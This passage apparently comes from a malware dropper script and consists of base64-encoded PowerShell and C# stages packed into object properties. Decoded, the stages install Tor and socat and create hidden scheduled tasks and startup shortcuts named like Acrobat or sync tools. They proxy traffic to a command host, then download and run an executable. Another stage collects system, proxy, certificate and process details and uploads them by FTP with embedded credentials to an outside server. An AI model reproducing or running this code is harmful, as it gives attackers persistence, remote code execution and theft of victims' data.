  246. "ID0gbG9jYWxNYWNoaW5lMi5PcGVuU3ViS2V5KGluc3RhbGxlZFZlcnNpb25zWzBdKTsKCiAgICAgICAgICAgICAgICAvLyBnZXQg"+
  247. "aW5zdGFsbCBkaXJlY3RvcnkKICAgICAgICAgICAgICAgIHN0cmluZyBpbnN0YWxsU3RyaW5nID0gKHN0cmluZyltYWluSW5zdGFs"+
  248. "bC5PcGVuU3ViS2V5KCJNYWluIikuR2V0VmFsdWUoIkluc3RhbGwgRGlyZWN0b3J5IiwgbnVsbCk7CgogICAgICAgICAgICAgICAg"+
  249. "aWYgKGluc3RhbGxTdHJpbmcgPT0gbnVsbCkKICAgICAgICAgICAgICAgICAgICB0aHJvdyBuZXcgTnVsbFJlZmVyZW5jZUV4Y2Vw"+
  250. "dGlvbigiSW5zdGFsbCBzdHJpbmcgd2FzIG51bGwiKTsKICAgICAgICAgICAgICAgIGZwID0gbmV3IERpcmVjdG9yeUluZm8oaW5z"+
  251. "dGFsbFN0cmluZyk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgY2F0Y2ggKEV4Y2VwdGlvbiBleCkKICAgICAgICAgICAgewog"+
  252. "ICAgICAgICAgICAgICAgU3lzdGVtLkNvbnNvbGUuV3JpdGVMaW5lKFN0cmluZy5Gb3JtYXQoInswfSB7MX0gezJ9IiwgZXguU291"+
  253. "cmNlLCBleC5NZXNzYWdlLCBleC5TdGFja1RyYWNlKSk7CiAgICAgICAgICAgIH0KICAgICAgICB9ZWxzZXsKICAgICAgICAgICAg"+
  254. "U3lzdGVtLkNvbnNvbGUuV3JpdGVMaW5lKCJSZWdpc3RyeSByZWNvcmRzIG5vdCBmb3VuZCIpOwogICAgICAgIH0KICAgICAgICBy"+
  255. "ZXR1cm4gZnA7CiAgICB9Cn0KIkA7CltrRUNTU25hTmRdOjpFU2d0Y08oKS51d0FxS0tSbnd2YURsaSgiJUNFUlQlIik7Cn0KdVJn"+
  256. "QkJm",
  257.     qNxH: "JFNIX1RZUEVfU0NIRURVTEVEX1RBU0s9MTsKJFNIX1RZUEVfVEFTS19TQ0hFRFVMRVI9MjsKJHNjaGVkdWxlclR5cGU9JFNIX1RZUEVfU0NIRURVTEVEX1RBU0s7CmZ1bmN0aW9uIGhxdkF4UXJSS0kKewpwYXJhbShbc3RyaW5nXSR6aXBmaWxlLCBbc3RyaW5nXSRk"+
  258. "ZXN0aW5hdGlvbik7CiQ3eiA9IEpvaW4tUGF0aCAkZW52OkFMTFVTRVJTUFJPRklMRSAnN3phLmV4ZSc7CmlmICgtTk9UIChUZXN0LVBhdGggJDd6KSl7ClRyeQp7CihOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50KS5Eb3dubG9hZEZpbGUoJ2h0dHBzOi8v"+
  259. "Y2hvY29sYXRleS5vcmcvN3phLmV4ZScsJDd6KTsKfQpDYXRjaHt9Cn0KaWYgKCQoVHJ5IHsgVGVzdC1QYXRoICQ3ei50cmltKCkgfSBDYXRjaCB7ICRmYWxzZSB9KSl7ClN0YXJ0LVByb2Nlc3MgIiQ3eiIgLUFyZ3VtZW50TGlzdCAieCAtb2AiJGRlc3RpbmF0aW9u"+
  260. "YCIgLXkgYCIkemlwZmlsZWAiIiAtV2FpdCAtTm9OZXdXaW5kb3cKfQplbHNlewokc2hlbGwgPSBuZXctb2JqZWN0IC1jb20gc2hlbGwuYXBwbGljYXRpb247CiR6aXAgPSAkc2hlbGwuTmFtZVNwYWNlKCR6aXBmaWxlKTsKZm9yZWFjaCgkaXRlbSBpbiAkemlwLml0"+
  261. "ZW1zKCkpCnsKJHNoZWxsLk5hbWVzcGFjZSgkZGVzdGluYXRpb24pLmNvcHloZXJlKCRpdGVtKTsKfQp9Cn0KCmZ1bmN0aW9uIEFkZC1TaG9ydGN1dHsKICAgIHBhcmFtKFtzdHJpbmddJHRhcmdldF9wYXRoLCBbc3RyaW5nXSRkZXN0X3BhdGgsIFtzdHJpbmddJHdv"+
  262. "cmtfcGF0aCwgW3N0cmluZ10kYXJndW1lbnRzPSIiKTsKICAgIAogICAgJF9wYXRoPVNwbGl0LVBhdGggJGRlc3RfcGF0aDsKICAgIGlmICgtTm90IChUZXN0LVBhdGggJF9wYXRoKSl7CiAgICAgICAgbWtkaXIgLUZvcmNlICRfcGF0aDsKICAgIH0KICAgIGlmICgt"+
  263. "Tm90IChUZXN0LVBhdGggJHRhcmdldF9wYXRoKSl7CiAgICAgICAgV3JpdGUtT3V0cHV0ICJDYW4ndCBhZGQgc2hvcnRjdXQuIFRhcmdldCBwYXRoICckdGFyZ2V0X3BhdGgnIG5vdCBmb3VuZC4iOwogICAgICAgIHJldHVybjsKICAgIH0KICAgIGlmICgoVGVzdC1Q"+
  264. "YXRoICRkZXN0X3BhdGgpKXsKICAgICAgICBXcml0ZS1PdXRwdXQgIkNhbid0IGFkZCBzaG9ydGN1dC4gRGVzdGluYXRpb24gcGF0aCAnJGRlc3RfcGF0aCcgZXhpc3QuIjsKICAgICAgICByZXR1cm47CiAgICB9CgogICAgJF9zaGVsbCA9IE5ldy1PYmplY3QgLUNv"+
  265. "bU9iamVjdCAoIldTY3JpcHQuU2hlbGwiKTsKICAgICRfc2hvcnRjdXQgPSAkX3NoZWxsLkNyZWF0ZVNob3J0Y3V0KCRkZXN0X3BhdGgpOwogICAgJF9zaG9ydGN1dC5UYXJnZXRQYXRoPSR0YXJnZXRfcGF0aDsKICAgIGlmKC1Ob3QgW1N0cmluZ106OklzTnVsbE9y"+
  266. "RW1wdHkoJGFyZ3VtZW50cykpewogICAgICAgICRfc2hvcnRjdXQuQXJndW1lbnRzPSRhcmd1bWVudHM7CiAgICB9CiAgICAkX3Nob3J0Y3V0LldvcmtpbmdEaXJlY3Rvcnk9JHdvcmtfcGF0aDsKICAgICRfc2hvcnRjdXQuU2F2ZSgpOwp9CgpmdW5jdGlvbiBCYXNl"+
  267. "NjRUb0ZpbGUKewpwYXJhbShbc3RyaW5nXSRmaWxlLCBbc3RyaW5nXSRzdHJpbmcpOwokYnl0ZXM9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkc3RyaW5nKTsKI3NldC1jb250ZW50IC1lbmNvZGluZyBieXRlICRmaWxlIC12YWx1ZSAkYnl0ZXM7"+
  268. "CltJTy5GaWxlXTo6V3JpdGVBbGxCeXRlcygkZmlsZSwgJGJ5dGVzKTsKfQpmdW5jdGlvbiBSYW5kb21TdHJpbmd7CiAgICBwYXJhbShbaW50XSRtaW49NSwgW2ludF0kbWF4PTE1KTsKICAgIHJldHVybiAoLWpvaW4gKCg0OC4uNTcpKyg2NS4uOTApKyg5Ny4uMTIy"+
  269. "KSB8IEdldC1SYW5kb20gLUNvdW50IChHZXQtUmFuZG9tIC1taW5pbXVtICRtaW4gLW1heGltdW0gJG1heCkgfCAlIHtbY2hhcl0kX30pKTsKfQpmdW5jdGlvbiBJbml0U2NoZWR1bGxlcnsKICAgIHRyeXsKICAgICAgICBJbXBvcnQtTW9kdWxlIFNjaGVkdWxlZFRh"+
  270. "c2tzIC1FcnJvckFjdGlvbiBTdG9wOwogICAgICAgIHJldHVybiAkU0hfVFlQRV9TQ0hFRFVMRURfVEFTSzsKICAgIH1jYXRjaHsKICAgICAgICAkRmlsZT0kZW52OlRlbXArJ1wnKyhSYW5kb21TdHJpbmcpKycuemlwJzsKICAgICAgICAkRGVzdD0kZW52OlRlbXAr"+
  271. "J1wnKyhSYW5kb21TdHJpbmcpOwogICAgICAgIHdoaWxlICghKFVjanJxZVpDY3VrcXlCICdodHRwczovL2FwaS5udWdldC5vcmcvcGFja2FnZXMvdGFza3NjaGVkdWxlci4yLjUuMjMubnVwa2cnICRGaWxlKSkge30KICAgICAgICBpZiAoKFRlc3QtUGF0aCAkRGVz"+
  272. "dCkgLWVxIDEpe1JlbW92ZS1JdGVtIC1Gb3JjZSAtUmVjdXJzZSAkRGVzdDt9bWtkaXIgJERlc3QgfCBPdXQtTnVsbDsKICAgICAgICBocXZBeFFyUktJICRGaWxlICREZXN0OwogICAgICAgIFJlbW92ZS1JdGVtIC1Gb3JjZSAkRmlsZTsKICAgICAgICAkVFNBc3Nl"+
  273. "bWJseT0kRGVzdCsnXGxpYlxuZXQyMFxNaWNyb3NvZnQuV2luMzIuVGFza1NjaGVkdWxlci5kbGwnOwogICAgICAgICRsb2FkTGliID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZEZpbGUoJFRTQXNzZW1ibHkpOwogICAgICAgIHJldHVybiAkU0hf"+
  274. "VFlQRV9UQVNLX1NDSEVEVUxFUjsKICAgIH0KfQpmdW5jdGlvbiB3dmhOVgp7CnBhcmFtKFtzdHJpbmddJG5hbWUsIFtzdHJpbmddJGNtZCwgW3N0cmluZ10kcGFyYW1zPScnLFtpbnRdJHJlc3RhcnQ9MCxbaW50XSRkZWxheT0wLFtzdHJpbmddJGRpcj0nJyk7CnN3"+
  275. "aXRjaCAoJHNjaGVkdWxlclR5cGUpIHsKICAgICRTSF9UWVBFX1NDSEVEVUxFRF9UQVNLIHsKICAgICAgICAkQWN0aW9uID0gTmV3LVNjaGVkdWxlZFRhc2tBY3Rpb24gLUV4ZWN1dGUgJGNtZDsKICAgICAgICBpZigtTm90IFtTdHJpbmddOjpJc051bGxPckVtcHR5"+
  276. "KCRwYXJhbXMpKXsKICAgICAgICAgICAgJEFjdGlvbi5Bcmd1bWVudHM9JHBhcmFtczsKICAgICAgICB9CiAgICAgICAgaWYoLU5vdCBbU3RyaW5nXTo6SXNOdWxsT3JFbXB0eSgkZGlyKSl7CiAgICAgICAgICAgICRBY3Rpb24uV29ya2luZ0RpcmVjdG9yeT0kZGly"+
  277. "OwogICAgICAgIH0KICAgICAgICAkTG9nb25UcmlnZ2VyID0gTmV3LVNjaGVkdWxlZFRhc2tUcmlnZ2VyIC1BdExvZ09uOwogICAgICAgIHRyeXsKICAgICAgICAgICAgJExvZ29uVHJpZ2dlci5Vc2VySWQ9JGVudjp1c2VybmFtZTsKICAgICAgICB9Y2F0Y2h7CiAg"+
  278. "ICAgICAgICAgICRMb2dvblRyaWdnZXIuVXNlcj0kZW52OnVzZXJuYW1lOwogICAgICAgIH0KICAgICAgICBpZigtTm90ICRkZWxheSAtZXEgMCl7CiAgICAgICAgICAgICRMb2dvblRyaWdnZXIuRGVsYXk9TmV3LVRpbWVTcGFuIC1TZWNvbmRzICRkZWxheTsKICAg"+
  279. "ICAgICB9CiAgICAgICAgaWYoJHJlc3RhcnQgLWVxIDEpewogICAgICAgICAgICAkVGltZVRyaWdnZXIgPSBOZXctU2NoZWR1bGVkVGFza1RyaWdnZXIgLU9uY2UgLUF0IDEyYW0gLVJlcGV0aXRpb25JbnRlcnZhbCAoW1N5c3RlbS5UaW1lU3Bhbl06OkZyb21NaW51"+
  280. "dGVzKDEpKSAtUmVwZXRpdGlvbkR1cmF0aW9uIChbU3lzdGVtLlRpbWVTcGFuXTo6RnJvbURheXMoMzY1ICogMjApKTsKICAgICAgICB9CiAgICAgICAgJFNldHRpbmdzID0gTmV3LVNjaGVkdWxlZFRhc2tTZXR0aW5nc1NldDsKICAgICAgICAkU2V0dGluZ3MuRGlz"+
  281. "YWxsb3dTdGFydElmT25CYXR0ZXJpZXMgPSAkRmFsc2U7CiAgICAgICAgJFNldHRpbmdzLlN0b3BJZkdvaW5nT25CYXR0ZXJpZXMgPSAkRmFsc2U7CiAgICAgICAgaWYoJHJlc3RhcnQgLWVxIDEpewogICAgICAgICAgICAkVGFzayA9IFJlZ2lzdGVyLVNjaGVkdWxl"+
  282. "ZFRhc2sgLUFjdGlvbiAkQWN0aW9uIC1UcmlnZ2VyICRMb2dvblRyaWdnZXIsJFRpbWVUcmlnZ2VyIC1TZXR0aW5ncyAkU2V0dGluZ3MgLVRhc2tOYW1lICRuYW1lIC1EZXNjcmlwdGlvbiAoUmFuZG9tU3RyaW5nKTsKICAgICAgICB9ZWxzZXsKICAgICAgICAgICAg"+
  283. "JFRhc2sgPSBSZWdpc3Rlci1TY2hlZHVsZWRUYXNrIC1BY3Rpb24gJEFjdGlvbiAtVHJpZ2dlciAkTG9nb25UcmlnZ2VyIC1TZXR0aW5ncyAkU2V0dGluZ3MgLVRhc2tOYW1lICRuYW1lIC1EZXNjcmlwdGlvbiAoUmFuZG9tU3RyaW5nKTsKICAgICAgICB9CiAgICAg"+
  284. "ICAgU3RhcnQtU2NoZWR1bGVkVGFzayAtSW5wdXRPYmplY3QgJFRhc2s7CiAgICB9OwogICAgRGVmYXVsdCB7CiAgICAgICAgJHRzPU5ldy1PYmplY3QgTWljcm9zb2Z0LldpbjMyLlRhc2tTY2hlZHVsZXIuVGFza1NlcnZpY2U7CiAgICAgICAgJHRkPSR0cy5OZXdU"+
  285. "YXNrKCk7CiAgICAgICAgJHRkLlJlZ2lzdHJhdGlvbkluZm8uRGVzY3JpcHRpb24gPSAoUmFuZG9tU3RyaW5nKTsKICAgICAgICAkdGQuU2V0dGluZ3MuRGlzYWxsb3dTdGFydElmT25CYXR0ZXJpZXMgPSAkRmFsc2U7CiAgICAgICAgJHRkLlNldHRpbmdzLlN0b3BJ"+
  286. "ZkdvaW5nT25CYXR0ZXJpZXMgPSAkRmFsc2U7CiAgICAgICAgJHRkLlNldHRpbmdzLk11bHRpcGxlSW5zdGFuY2VzID0gW01pY3Jvc29mdC5XaW4zMi5UYXNrU2NoZWR1bGVyLlRhc2tJbnN0YW5jZXNQb2xpY3ldOjpJZ25vcmVOZXc7CiAgICAgICAgJExvZ29uVHJp"+
  287. "Z2dlciA9IE5ldy1PYmplY3QgTWljcm9zb2Z0LldpbjMyLlRhc2tTY2hlZHVsZXIuTG9nb25UcmlnZ2VyOwogICAgICAgICRMb2dvblRyaWdnZXIuU3RhcnRCb3VuZGFyeT1bU3lzdGVtLkRhdGVUaW1lXTo6Tm93OwogICAgICAgICRMb2dvblRyaWdnZXIuVXNlcklk"+
  288. "PSRlbnY6dXNlcm5hbWU7CiAgICAgICAgJExvZ29uVHJpZ2dlci5EZWxheT1bU3lzdGVtLlRpbWVTcGFuXTo6RnJvbVNlY29uZHMoJGRlbGF5KTsKICAgICAgICAkdGQuVHJpZ2dlcnMuQWRkKCRMb2dvblRyaWdnZXIpOwogICAgICAgIGlmKCRyZXN0YXJ0IC1lcSAx"+
  289. "KXsKICAgICAgICAkVGltZVRyaWdnZXIgPSBOZXctT2JqZWN0IE1pY3Jvc29mdC5XaW4zMi5UYXNrU2NoZWR1bGVyLlRpbWVUcmlnZ2VyOwogICAgICAgICRUaW1lVHJpZ2dlci5TdGFydEJvdW5kYXJ5PVtTeXN0ZW0uRGF0ZVRpbWVdOjpOb3c7CiAgICAgICAgJFRp"+
  290. "bWVUcmlnZ2VyLlJlcGV0aXRpb24uSW50ZXJ2YWw9W1N5c3RlbS5UaW1lU3Bhbl06OkZyb21NaW51dGVzKDEpOwogICAgICAgICRUaW1lVHJpZ2dlci5SZXBldGl0aW9uLlN0b3BBdER1cmF0aW9uRW5kPSRGYWxzZTsKICAgICAgICAkdGQuVHJpZ2dlcnMuQWRkKCRU"+
  291. "aW1lVHJpZ2dlcik7CiAgICAgICAgfQogICAgICAgICR0c2Y9Ik1pY3Jvc29mdC5XaW4zMi5UYXNrU2NoZWR1bGVyIjsKICAgICAgICAkRXhlY0FjdGlvbj1OZXctT2JqZWN0ICIkdHNmLkV4ZWNBY3Rpb24iKCRjbWQsJHBhcmFtcywkZGlyKTsKICAgICAgICAkdGQu"+
  292. "QWN0aW9ucy5BZGQoJEV4ZWNBY3Rpb24pOwogICAgICAgICR0YXNrPSR0cy5Sb290Rm9sZGVyLlJlZ2lzdGVyVGFza0RlZmluaXRpb24oJG5hbWUsICR0ZCk7CiAgICAgICAgJHRhc2suUnVuKCk7CiAgICB9Owp9Cn0KZnVuY3Rpb24gVWNqcnFlWkNjdWtxeUIgewog"+
  293. "ICAgcGFyYW0oW3N0cmluZ10kYmx4LCBbc3RyaW5nXSRIT1MpOwogICAgJEVycm9yQWN0aW9uUHJlZmVyZW5jZSA9ICJTdG9wIjsKICAgIFdyaXRlLUhvc3QgKCJEb3dubG9hZCB7MH0gdG8gezF9IiAtZiAoJGJseCwgJEhPUykpOwogICAgdHJ5ewogICAgICAgIFtO"+
  294. "ZXQuU2VydmljZVBvaW50TWFuYWdlcl06OlNlY3VyaXR5UHJvdG9jb2wgPSAidGxzMTIsIHRsczExLCB0bHMsIHNzbDMiOwogICAgfWNhdGNoe30KICAgIHRyeSB7CiAgICAgICAgU3RhcnQtQml0c1RyYW5zZmVyIC1Tb3VyY2UgJGJseCAtRGVzdGluYXRpb24gJEhP"+
  295. "UzsKICAgIH0KICAgIGNhdGNoIHsKICAgICAgICAjV3JpdGUtRXJyb3IgJF8gLUVycm9yQWN0aW9uIENvbnRpbnVlOwogICAgICAgIHRyeSB7CiAgICAgICAgICAgIChOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50KS5Eb3dubG9hZEZpbGUoJGJseCwkSE9T"+
  296. "KTsKICAgICAgICB9CiAgICAgICAgY2F0Y2ggewogICAgICAgICAgICAjV3JpdGUtRXJyb3IgJF8gLUVycm9yQWN0aW9uIENvbnRpbnVlOwogICAgICAgICAgICBTdGFydC1Qcm9jZXNzICJjbWQuZXhlIiAtQXJndW1lbnRMaXN0ICIvYiAvYyBiaXRzYWRtaW4gL3Ry"+
  297. "YW5zZmVyIC9kb3dubG9hZCAvcHJpb3JpdHkgSElHSCBgIiRibHhgIiBgIiRIT1NgIiIgLVdhaXQgLVdpbmRvd1N0eWxlIEhpZGRlbjsKICAgICAgICB9CiAgICB9ZmluYWxseXsKICAgICAgICAkRXJyb3JBY3Rpb25QcmVmZXJlbmNlID0gIkNvbnRpbnVlIjsKICAg"+
  298. "IH0KICAgIGlmICggJChUcnkgeyBUZXN0LVBhdGggJEhPUy50cmltKCkgfSBDYXRjaCB7ICRmYWxzZSB9KSl7CiAgICAgICAgcmV0dXJuICR0cnVlOwogICAgfQogICAgcmV0dXJuICRmYWxzZTsKfQpmdW5jdGlvbiBXVVJxaE5XUGZ7CiRzY2hlZHVsZXJUeXBlID0g"+
  299. "SW5pdFNjaGVkdWxsZXI7CiR0Zj0kZW52OlRlbXArJ1wnKyhSYW5kb21TdHJpbmcpKycuemlwJzsKJERlc3RUUD0kZW52OkFMTFVTRVJTUFJPRklMRSsnXCcrKFJhbmRvbVN0cmluZyk7CiRDVkd4PUAoImh0dHBzOi8vZGlzdC50b3Jwcm9qZWN0Lm9yZy8iLCJodHRw"+
  300. "czovL3RvcnByb2plY3QubWlycm9yLm1ldGFsZ2FtZXIuZXUvZGlzdC8iLCJodHRwczovL3Rvci55YnRpLm5ldC9kaXN0LyIpOwpmb3JlYWNoICgkbWlycm9yIGluICRDVkd4KSB7CiAgICAkX3VybD0kbWlycm9yKyd0b3Jicm93c2VyLzguMC4zL3Rvci13aW4zMi0w"+
  301. "LjMuNC44LnppcCc7CiAgICBpZigoVWNqcnFlWkNjdWtxeUIgJF91cmwgJHRmKSl7CiAgICAgICAgYnJlYWs7CiAgICB9Cn0KaWYgKChUZXN0LVBhdGggJERlc3RUUCkgLWVxIDEpe1JlbW92ZS1JdGVtIC1Gb3JjZSAtUmVjdXJzZSAkRGVzdFRQO31ta2RpciAkRGVz"+
  302. "dFRQIHwgT3V0LU51bGw7CmhxdkF4UXJSS0kgJHRmICREZXN0VFA7ClJlbW92ZS1JdGVtIC1Gb3JjZSAkdGY7CiR1Y1RFTUR1Z0s9JERlc3RUUCsnXFRvclwnOwokcUx3bXdPT09mVVRoPSJ2YnNjcmlwdDpjbG9zZShDcmVhdGVPYmplY3QoYCJXU2NyaXB0LlNoZWxs"+
  303. "YCIpLlJ1bihgInRvci5leGVgIiwwLEZhbHNlKSkiOwp3dmhOViAoUmFuZG9tU3RyaW5nKSAnbXNodGEuZXhlJyAkcUx3bXdPT09mVVRoIDAgMCAkdWNURU1EdWdLOwoKQWRkLVNob3J0Y3V0ICIkKFtTeXN0ZW0uRW52aXJvbm1lbnRdOjpTeXN0ZW1EaXJlY3Rvcnkp"+
  304. "XG1zaHRhLmV4ZSIgIiQoW1N5c3RlbS5FbnZpcm9ubWVudF06OkdldEZvbGRlclBhdGgoJ1N0YXJ0dXAnKSlccmVhZGVyLmxuayIgJHZ6ZmtGY2F3RGJJVVN5YSAkdG9hd3d5SmxqQwoKJFF6ZllxRGJsQUw9JGVudjpUZW1wKydcJysoUmFuZG9tU3RyaW5nKSsnLnpp"+
  305. "cCc7CiRpVVJtR1VHdkJPbVFsRT0oUmFuZG9tU3RyaW5nKTsKJGdvSUhWT3FBbHE9JERlc3RUUCsnXCcrJGlVUm1HVUd2Qk9tUWxFKydcJzsKVWNqcnFlWkNjdWtxeUIgJ2h0dHBzOi8vZ2l0aHViLmNvbS9TdHVkaW9FdHJhbmdlL3NvY2F0LXdpbmRvd3MvYXJjaGl2"+
  306. "ZS8xLjcuMi4xLnppcCcgJFF6ZllxRGJsQUw7CmlmICggJChUcnkgeyBUZXN0LVBhdGggJFF6ZllxRGJsQUwudHJpbSgpIH0gQ2F0Y2ggeyAkZmFsc2UgfSkpewogICAgaHF2QXhRclJLSSAkUXpmWXFEYmxBTCAkRGVzdFRQOwogICAgJHFkY0xIWG5nPSREZXN0VFAr"+
  307. "J1xzb2NhdC13aW5kb3dzLTEuNy4yLjFcJzsKICAgIFJlbmFtZS1JdGVtIC1wYXRoICRxZGNMSFhuZyAtbmV3TmFtZSAkaVVSbUdVR3ZCT21RbEU7Cn1lbHNlewogICAgVWNqcnFlWkNjdWtxeUIgJ2h0dHA6Ly9ibG9nLmdlbnRpbGtpd2kuY29tL2Rvd25sb2Fkcy9z"+
  308. "b2NhdC0xLjcuMi4xLnppcCcgJFF6ZllxRGJsQUw7CiAgICBocXZBeFFyUktJICRRemZZcURibEFMICRnb0lIVk9xQWxxOwp9ClJlbW92ZS1JdGVtIC1Gb3JjZSAkUXpmWXFEYmxBTDsKJHMxY21kPSdzb2NhdCB0Y3A0LUxJU1RFTjo1NTU1LHJldXNlYWRkcixmb3Jr"+
  309. "LGtlZXBhbGl2ZSxiaW5kPTEyNy4wLjAuMSBTT0NLUzRBOjEyNy4wLjAuMTolRE9NQUlOJTo4MCxzb2Nrc3BvcnQ9OTA1MCc7CiRzMmNtZD0nc29jYXQgdGNwNC1MSVNURU46NTU4OCxyZXVzZWFkZHIsZm9yayxrZWVwYWxpdmUsYmluZD0xMjcuMC4wLjEgU09DS1M0"+
  310. "QToxMjcuMC4wLjE6JURPTUFJTiU6NTU4OCxzb2Nrc3BvcnQ9OTA1MCc7CiREeUNuVz0idmJzY3JpcHQ6Y2xvc2UoQ3JlYXRlT2JqZWN0KGAiV1NjcmlwdC5TaGVsbGAiKS5SdW4oYCIkczFjbWRgIiwwLEZhbHNlKSkiOwokV0toUHVUSHRFdUhxaT0idmJzY3JpcHQ6"+
  311. "Y2xvc2UoQ3JlYXRlT2JqZWN0KGAiV1NjcmlwdC5TaGVsbGAiKS5SdW4oYCIkczJjbWRgIiwwLEZhbHNlKSkiOwp3dmhOViAoUmFuZG9tU3RyaW5nKSAnbXNodGEuZXhlJyAkRHlDblcgMCAwICRnb0lIVk9xQWxxOwp3dmhOViAoUmFuZG9tU3RyaW5nKSAnbXNodGEu"+
  312. "ZXhlJyAkV0toUHVUSHRFdUhxaSAwIDAgJGdvSUhWT3FBbHE7CgpBZGQtU2hvcnRjdXQgIiQoW1N5c3RlbS5FbnZpcm9ubWVudF06OlN5c3RlbURpcmVjdG9yeSlcbXNodGEuZXhlIiAiJChbU3lzdGVtLkVudmlyb25tZW50XTo6R2V0Rm9sZGVyUGF0aCgnU3RhcnR1"+
  313. "cCcpKVxhY3JvYmF0LmxuayIgJGdvSUhWT3FBbHEgJER5Q25XCkFkZC1TaG9ydGN1dCAiJChbU3lzdGVtLkVudmlyb25tZW50XTo6U3lzdGVtRGlyZWN0b3J5KVxtc2h0YS5leGUiICIkKFtTeXN0ZW0uRW52aXJvbm1lbnRdOjpHZXRGb2xkZXJQYXRoKCdTdGFydHVw"+
  314. "JykpXHN5bmMubG5rIiAkZ29JSFZPcUFscSAkV0toUHVUSHRFdUhxaQoKJGNoZnRiRnhQVz0idmJzYyIrInJpcHQ6Y2xvc2UoQ3JlYXRlT2JqZWN0KGAiV1NjcmlwdC5TaGVsbGAiKS5SdW4oYCJwb3dlcnNoZWxsLmV4ZSBgImAiYCRGPWAkZW52OlRlbXArJ1xcIiso"+
  315. "UmFuZG9tU3RyaW5nKSsiLmV4ZSc7cm0gLUZvcmNlIGAkRjtgJGNsPShOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQpO2AkY2wuRG93bmxvYWRGaWxlKCdodHRwOi8vMTI3LjAuMC4xOjU1NTUvIisoUmFuZG9tU3RyaW5nKSsiLmFzcD90cyZpcD0nK2AkY2wuRG93bmxv"+
  316. "YWRgIitgIlN0cmluZygnaHR0cDovL2FwaS5pcGlmeS5vcmcvJyksYCRGKTsmIGAkRmAiYCJgIiwwLEZhbHNlKSkiOwp3dmhOViAoUmFuZG9tU3RyaW5nKSAnbXNodGEuZXhlJyAkY2hmdGJGeFBXIDE7Cn0KV1VScWhOV1BmOw==",
  317.     RiEzgVw: "JExvZ2ZpbGUgPSAkZW52OlRlbXArIlxcJChnYyBlbnY6Y29tcHV0ZXJuYW1lKS5sb2ciOwoKRnVuY3Rpb24gTG9nV3JpdGUKewogIFBhcmFtIChbc3RyaW5nXSRsb2dzdHJpbmcpCiAgJGR0PUdldC1EYXRlIC1Gb3JtYXQgImRkLk1NLnl5eXkgSEg6bW06c3MiOwog"+
  318. "ICRtc2c9W3N0cmluZ106OkZvcm1hdCgiW3swfV06Olt7MX1dIiwkZHQsJGxvZ3N0cmluZyk7CiAgV3JpdGUtSG9zdCAkbXNnOwogIEFkZC1jb250ZW50ICRMb2dmaWxlIC12YWx1ZSAkbXNnOwp9CkZ1bmN0aW9uIFVwbG9hZExvZwp7CiAgJGRlc3QgPSAiZnRwOi8v"+
  319. "Y28tai1qcDplc2NvajIwMTNAd3gwNC53YWRheC5uZS5qcC9wdWJsaWNfaHRtbC9sb2dzIjsKICAkd2MgPSBOZXctT2JqZWN0IC1UeXBlTmFtZSBTeXN0ZW0uTmV0LldlYkNsaWVudDsKICAkd2MuVXBsb2FkRmlsZSgiJGRlc3QvJChnYyBlbnY6Y29tcHV0ZXJuYW1l"+
  320. "KS5sb2ciLCAkTG9nZmlsZSk7CiAgUmVtb3ZlLUl0ZW0gLVBhdGggJExvZ2ZpbGU7Cn0KZnVuY3Rpb24gQ2hlY2tJbnN0YWxsKCl7CiAgJHdpbmluZm8gPSAoR2V0LVdtaU9iamVjdCBXaW4zMl9PcGVyYXRpbmdTeXN0ZW0gfCBTZWxlY3QgQ2FwdGlvbiwgU2Vydmlj"+
  321. "ZVBhY2tNYWpvclZlcnNpb24sIE9TQXJjaGl0ZWN0dXJlLCBWZXJzaW9uLCBNVUlMYW5ndWFnZXMpOwogICR3aW5pbmZvLk1VSUxhbmd1YWdlcz0kd2luaW5mby5NVUlMYW5ndWFnZXMgLWpvaW4gIiwiOwogIExvZ1dyaXRlKCJPUyBpbmZvOiB7MH0iIC1mICR3aW5p"+
  322. "bmZvIC1qb2luICIiKTsKICBpZiAodGVzdC1wYXRoIHZhcmlhYmxlOnBzdmVyc2lvbnRhYmxlKSB7CiAgICAkdmVyc2lvbiA9ICRwc3ZlcnNpb250YWJsZS5wc3ZlcnNpb247CiAgfSBlbHNlIHsKICAgICR2ZXJzaW9uID0gW3ZlcnNpb25dIjEuMC4wLjAiOwogIH0K"+
  323. "ICBMb2dXcml0ZSgiUG93ZXJzaGVsbCB2ZXJzaW9uOiB7MH0iIC1mICR2ZXJzaW9uKTsKICB0cnkgewogICAgJHBhYz1HZXQtSXRlbVByb3BlcnR5ICdoa2N1OlxTb2Z0d2FyZVxcTWljcm9zb2Z0XFxXaW5kb3dzXFxDdXJyZW50VmVyc2lvblxcSW50ZXJuZXQgU2V0"+
  324. "dGluZ3NcJ3xTZWxlY3QgLWV4cGFuZCBBdXRvQ29uZmlnVVJMIC1FcnJvckFjdGlvbiBTdG9wOwogICAgTG9nV3JpdGUoIlBhYyBzZXR0ZWQ6ICckcGFjJyIpOwogIH0KICBjYXRjaCB7CiAgICBMb2dXcml0ZSgiRVJST1I6IFBhYyBub3Qgc2V0dGVkIik7CiAgfQog"+
  325. "ICRDZXJ0cyA9IEAoR2V0LUNoaWxkSXRlbSBjZXJ0OlxDdXJyZW50VXNlclxST09UfFdoZXJlLU9iamVjdCB7JF8uU3ViamVjdCAtbGlrZSAiKkNPTU9ETyBSU0EgRXh0ZW5kZWQgVmFsaWRhdGlvbiBTZWN1cmUgU2VydmVyIENBIDIqIiAtb3IgJF8uU3ViamVjdCAt"+
  326. "bGlrZSAiKkNPTU9ETyBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSoifXxGb3JFYWNoLU9iamVjdCB7InswfSAoezF9KSIgLWYgKCRfLlRodW1icHJpbnQsJF8uTm90QmVmb3JlKX0pOwogIGlmICgtTk9UICRDZXJ0cy5jb3VudCAtZXEgMCl7CiAgICBMb2dXcml0ZSgi"+
  327. "Q2VydHMgaW5zdGFsbGVkOiAnezB9JyIgLWYgKCRDZXJ0cyAtam9pbiAiOyAiKSk7CiAgfWVsc2UgewogICAgTG9nV3JpdGUoIkNlcnRzIG5vdCBmb3VuZCIpOwogIH0KICB0cnl7CiAgICAkcHJvYyA9IEdldC1Qcm9jZXNzIHwgV2hlcmUtT2JqZWN0IHskXy5Qcm9j"+
